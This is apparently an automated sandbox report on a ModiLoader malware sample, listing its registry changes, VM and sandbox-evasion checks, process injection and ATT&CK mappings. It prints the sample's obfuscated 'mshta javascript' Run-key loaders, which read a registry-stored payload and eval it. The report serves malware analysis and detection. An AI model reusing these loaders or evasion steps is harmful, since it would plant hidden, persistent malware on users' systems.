modiloader | 384595528c64e65242b79e821d510e97874e1e87f48a93c4378c4409d1c06f33

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:KC3VCtu7We=\"1PmYyIiXB\";Mv5=new%20ActiveXObject(\"WScript.Shell\");zJX6bxnR=\"dtLw44\";l8waF=Mv5.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\22fb805eac\\\\4bf6c16a\");ytih8Lk4E=\"SdY4cK\";eval(l8waF);w9Jrs4BbYL=\"JfW7\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

4216 regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:twv8Xxy=\"PVA\";H29V=new%20ActiveXObject(\"WScript.Shell\");znQ4PhOHF=\"Bx685\";xk5Zq=H29V.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\22fb805eac\\\\4bf6c16a\");WrWg6JMq5=\"Htliq\";eval(xk5Zq);cYO9FKwFD=\"yci\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:uQ7dx2Hyt=\"nfzK\";YZ0=new%20ActiveXObject(\"WScript.Shell\");ZDwQy89w=\"Zs\";MidL6=YZ0.RegRead(\"HKCU\\\\software\\\\22fb805eac\\\\4bf6c16a\");gTGP3qj=\"xop5zR\";eval(MidL6);Ypv6BiO=\"jj3mzNSX\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

Processes:

regsvr32.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exe

pid	process
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

b139adb253c28000b4807bffa97c8427_JaffaCakes118.exeregsvr32.exeregsvr32.exe

pid	process
2964	b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe
2964	b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe
2964	b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe
1708	regsvr32.exe
1708	regsvr32.exe
1708	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe
4216	regsvr32.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

b139adb253c28000b4807bffa97c8427_JaffaCakes118.exeregsvr32.exeregsvr32.exe

description	pid	process	target process
PID 2964 wrote to memory of 1708	2964	b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe	regsvr32.exe
PID 2964 wrote to memory of 1708	2964	b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe	regsvr32.exe
PID 2964 wrote to memory of 1708	2964	b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe	regsvr32.exe
PID 1708 wrote to memory of 4216	1708	regsvr32.exe	regsvr32.exe
PID 1708 wrote to memory of 4216	1708	regsvr32.exe	regsvr32.exe
PID 1708 wrote to memory of 4216	1708	regsvr32.exe	regsvr32.exe
PID 4216 wrote to memory of 2264	4216	regsvr32.exe	regsvr32.exe
PID 4216 wrote to memory of 2264	4216	regsvr32.exe	regsvr32.exe
PID 4216 wrote to memory of 2264	4216	regsvr32.exe	regsvr32.exe
PID 4216 wrote to memory of 1228	4216	regsvr32.exe	regsvr32.exe
PID 4216 wrote to memory of 1228	4216	regsvr32.exe	regsvr32.exe
PID 4216 wrote to memory of 1228	4216	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\b139adb253c28000b4807bffa97c8427_JaffaCakes118.exe"
1⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2964

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
2⤵
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1708

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4216

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:2264

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:1228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

3

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

Peripheral Device Discovery

Query Registry

Software Discovery

System Information Discovery

T1082

Virtualization/Sandbox Evasion